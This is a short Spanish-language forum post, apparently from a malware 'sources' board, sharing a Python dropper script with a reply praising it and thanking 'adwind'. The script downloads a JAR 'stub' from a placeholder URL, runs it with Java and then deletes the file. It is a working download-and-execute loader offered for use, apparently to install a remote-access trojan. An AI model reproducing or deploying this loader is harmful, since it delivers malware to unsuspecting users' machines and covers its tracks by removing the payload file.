No es mio.
#!/usr/bin/python

import os, sys
import urllib
import subprocess

#enter URL here
url = 'http://www.host.com/server.jar' 
#stub name
filename = 'test.jar'  
urllib.urlretrieve(url, filename)
#run the stub make sure to change the name of the jar file
subprocess.call(['java', '-jar', 'test.jar'])
os.remove("test.jar")
ufff esta buenisimo y trabaja perfecto,gracias adwind
CryptoSharex.com  | Aceptando donaciones..gracias: 1CiVFiGwCtf1kpASyQB9j8dhNyJs5AfaMX
Responder

Volver a “Fuentes”